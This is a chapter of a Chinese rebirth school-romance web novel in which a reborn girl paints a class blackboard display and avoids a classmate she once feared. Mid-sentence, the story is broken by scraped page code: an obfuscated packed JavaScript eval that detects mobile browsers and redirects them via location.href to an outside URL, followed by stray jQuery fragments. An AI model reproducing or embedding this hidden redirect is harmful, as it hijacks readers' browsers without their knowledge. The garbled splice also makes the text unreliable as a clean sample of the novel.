夕阳的余晖斜照进教室,整个空间被琥珀色的光华填满,显得安宁静谧。
常夏暄站在教室中央的过道里,她将手支在下颌处,双眼紧盯黑板,思考着板报的主题。
她隐约记得,自己前世好像画的是某部正在热播的搞笑校园番的男女主,那时的她还很不成熟,容易被各种新鲜的、有趣的和时兴的东西所吸引,她的喜欢纯粹而热烈。
当然,那部动画画风独特、剧情精彩,是一部良心之作,她现在依旧喜欢,只是将其放到板报上并不完全适配,最后便没能评到第一。
这次,她还是画点别的吧。
由于时间紧迫,绘图部分又只有她一人负责,她需要找到一个既容易上手,同时又寓意深刻的内容。
凝眸忖度半晌,她最终决定画大海,眼下正值夏日,又逢期末,蔚蓝之海既能给沉闷的教室带来一抹清凉,又可以表达乘风破浪的寓意。
定下画面内容,她以双眼为画笔,视线在黑板框定的长方形画框内来回游走,在脑海里打起草稿。
等确定了排版和基本的图画之后,她脚跟一旋,转身朝后走去,到前面讲台寻找粉笔。
她在讲台、黑板卡槽以及旁边放杂物的桌子看了一圈,只找到了白色和红色的粉笔,她所需要的蓝色和黄色完全没剩下,她准备去年级办公室里拿。
右脚刚踏出教室,她忽然想起什么来,停顿了几秒钟后,她原本向□□的身体向右一转,而后朝那边走去。
她去的是其他年级的年级办公室,到办公室门口,看见里面只有一个老师在,她敲了一下门,说明缘由,得到允许后,进屋快速领了东西,便道谢离开,再沿路往回走。
“我这里有两张艺术展的门票,星期天我们一起去看吧!”
“我不去。”
“你——”女生被利落的拒绝气得一滞,而后不甘心问道,“你真的对我一点感觉都没有吗?”
刚走到楼梯口,猝不及防听见隐秘的对话,再侧头看去,发现拐角站着一男一女,女的是韩乐瑶,男的是凌仪景。
常夏暄脚步一顿,眉间微拧,有些意外竟然还是给她撞上了,心里才叫完苦,两位当事人已齐齐侧头看过来,她慌忙转身,折道往另一边去了。
凌仪景凝望着常夏暄消失的地方,半晌没动,好一会儿,他才回头看向身前的韩乐瑶,平静的脸色已然阴沉,语气也冷了下来,他直白地问:“你到底喜欢我什么?”
韩乐瑶闻言愣了一下,琢磨了两秒,轻声开口答道:“你学习成绩优秀,钢琴弹得好,书法也很出色……”
听见女孩一个劲地罗列自己的优点,凌仪景从鼻子里泄出一声冷嗤,不带任何感情色彩地反问:“你真的了解我吗?”
韩乐瑶没有回答,因为她察觉到凌仪景的脸色冷凝得可怕,是她从来都没有见过的模样,她被这股陌生感和恐惧感摄住,一个字都说不出口。
凌仪景没理会僵立原地的韩乐瑶,淡淡瞥了她一眼,旋即转身踏上台阶,大步流星地往前走去。
他一回想刚才的场景,一股郁气就直往上涌,堵在胸口怎么也散不去。
为了避免这种状况的发生,他下学后刻意绕路,就是想与韩乐瑶错开,没想到走另一边楼梯,韩乐瑶竟然还跟了上来,令他更没想到的是,常夏暄还是再一次撞见了……
这边,常夏暄回到教室后,她把粉笔盒放在后黑板的卡槽里,接着从座位上搬出自己的凳子,铺上一张草稿纸后,便站在凳子上开始画画。
她抬起右手,手中蓝色粉笔顺着边缘勾勒起伏的波浪线,画着画着,脑海里不由自主地浮现出方才在楼道撞见的尴尬场景。
上辈子,她从年级办公室拿到粉笔出来后,听见楼梯拐角处有人在说话,于是好奇地探头去看,然后便瞧见了凌仪景和韩乐瑶。
韩乐瑶喜欢凌仪景在日新中学人所共知,在校园里时常能看到她追着凌仪景跑的场景,但是亲眼目睹基本等于告白的场面还是令她意外,毕竟他们才初二,谈感情为时尚早,而且旁边可就是办公室。
她当时既惊讶又参杂着几分隐秘的好奇,不过那到底是那两人的私事,她再好奇,也只能克制住自己的探究心,仅仅瞥了一眼,就知趣地迅速遁了。
为了不重蹈覆辙,她明明极力避开了,没成想他们居然还能换个楼道再次上演,难道注定该发生的事就避免不了?
她三心二意地一边画画,一边思考刚才的意外。
教学楼走廊上,凌仪景已经疾步赶至三班教室门口,站在门外朝里看,可以看见一个个头一米六出头的女孩站在凳子上在后黑板上画画。
女孩右臂高高抬起,手腕轻巧翻转,粉笔在黑板上灵活游走着。
凌仪景静静凝注,这时候的常夏暄画技相比后期要稚嫩许多,但从构图、笔法和设色上可以看出她很有天赋。
静默观察片刻,他开口朝教室里的人说道:“画得不错!”
耳旁陡然传来一道澄澈男音,常夏暄绘图的右手蓦地一顿,眼睛也跟着一闭,在心里哀叹该来的果然还是来了。
动作凝固了好几秒,她到底认命地转过身,对立在门口的少年谦虚地表示道:“我就随便画画……”
看到与前世如出一辙的表情,凌仪景的心脏被击中了,欣赏了两眼常夏暄生动的情态,他把目光从她脸上挪到她身后的黑板上。
想起前世常夏暄临近毕业时偶尔叹息自己在绘画上下的功夫不足,没能进入最心仪的几家公司,遂借机提议道:“你看起来有这方面的天赋,可以试着进行专业的学习。”
意外得到了建议,站在凳子上的常夏暄愕然愣住了,这发展怎么和前世不一样?等回过神来,她讷讷说道:“我正有这个打算。”
话音刚落,瞧见门口的人突然迈步走进教室,她不明所以,反应过度地直接从凳子上跳下来。
“需要我帮忙吗?”凌仪景走上前问。
这下又重回正轨了,面对与前世一模一样的问题,常夏暄第一时间在心里给出否定的答案,尽管今生发展已有偏离,但是她不想冒险,她可不要再经历那个可怕的瞬间了。
前世的她虽然也在第一时间拒绝了,但那只是出于客套,当凌仪景再次提出愿意帮忙时,她便应了下来,一想到能和学神一起出板报,她心里既激动又紧张。
合作的整个过程很愉快,结束时时间将近七点,屋外落霞染空,夕阳斜射入窗,在教室洒下一片温暖的橙色,犹如融化的黄油。
临走前,为表达自己的感谢,常夏暄从桌肚里拿出用来解馋的柠檬糖,递了数颗给凌仪景。
凌仪景笑着接下糖果,略作停顿后,他忽然掀起眼皮,深邃黑眸沉沉盯着她,意味不明地开口:“你刚刚看到了吧?”
他刚来时,常夏暄以为他是来兴师问罪的,结果他先赞美她的画得不错,又主动提
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276836|198288||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
供帮助,她便想着他不在意,哪知道临了却冷不丁地问出口了。
在那温柔中而又带着的审视目光下,她尴尬地点头承认了,并脱口保证自己会保密的。
她等待着凌仪景给出反应,却没想到他朝她抛来一个问题:“在你心里我到底是怎样的人?”
“温柔完美的学神!”彼时的她天真烂漫,心直口快,闻言忙不迭数起他的优点,“你成绩永远年级第一,运动能力又出众,还很才华横溢,待人接物也彬彬有礼,帮同学讲题从不嫌麻烦……”
总之,她一股脑说了各种优点。
说着说着,她发现凌仪景的脸色变了,他的眸光闪动着冷冽光泽,嘴角勾起嘲弄的弧度,漫不经心地说:“让你失望了,真实的我可不是这个样子的。”
冰冷的语调,阴沉的神色,像是伪装人类的恶魔突然撕下面具,那一刻,常夏暄惊惧交加,脑子里一片空白,仿佛一阵风雪席卷而来,让她感觉从头冷到脚。
从过往的思绪里抽离,常夏暄轻轻摇了摇头,尽力驱散那种震惊感,然后礼貌婉拒道:“不用了,我家住的近,学神你快去吃饭吧。”
女孩的语气尽管委婉,但拒绝的意思很明显,凌仪景又一次被挫败感包裹。
他喉咙发紧,还想再说点什么,却看见常夏暄已经转身重新站到凳子上,抬臂继续画起来,只留给他一个纤巧专注的背影。
常夏暄故作专注地在黑板上涂画,两耳却始终留意着后方的动静,她听见鞋底摩擦地板的轻微响动,也听见渐渐远去的脚步声。
她没有立刻转头,而是耐着性子将黑板左边部分画完才终于停手。
垂下酸涩的胳膊,从凳子上跳下来,她转身后看,教室里空无一人,早没了凌仪景的踪影。
用纸巾擦干净沾了粉笔灰的手,她离开了教室,打算去吃饭。
这个时间,学校食堂已经不剩什么好菜了,她径直往校园超市走去,到地方之后,在那里买了一桶泡面、一根香肠和一瓶矿泉水。
在饮水机接热水将面泡上,她在超市外面凉棚底下的小桌上坐下,然后等待泡面泡开的间隙玩起了手机。
刷微博时,她看到了与庆功宴相关的热搜,于是点进话题,给谭阿姨和电影官微都点了赞。
接着,她切进微信,直接与容秋桐交流庆功宴现场的情况,两人的聊天告一段落后,她又联系了闻闲舟,问了问他奶奶的病情。
做完这些,她放下手机打开桶面上的纸盖,属于泡椒牛肉面的气味扑鼻而来,桶内泡面泡发的程度刚刚好,她用叉子将其搅拌均匀,然后迫不及待吃了起来。
花了六七分钟消灭完泡面,擦干净嘴巴,清理好桌上残局,她重新返回教室,准备接着画黑板另一侧。
当她到教室时,已经有学生回来了,她将凳子挪到另一侧,拿了粉笔便站到上面,开始描绘帆船。
画图的过程中,她偶尔与近边无所事事看着她画画的同学们闲聊两句。
晚自习前,她将大海和帆船画完,第一节自习课间,她在船上添加了几名远眺的少男少女们。
放学时,她厚涂了颜色,又稍加改动,至此,黑板报绘画部分大功告成。
就成品而言,比她二十二岁时的作品差远了,尽管她的脑子里依旧装着所学的绘画理论知识,可是这具身体的双手缺乏练习,根本无法呈现出她脑海里的图景,不过,作为板报来说还是不错的。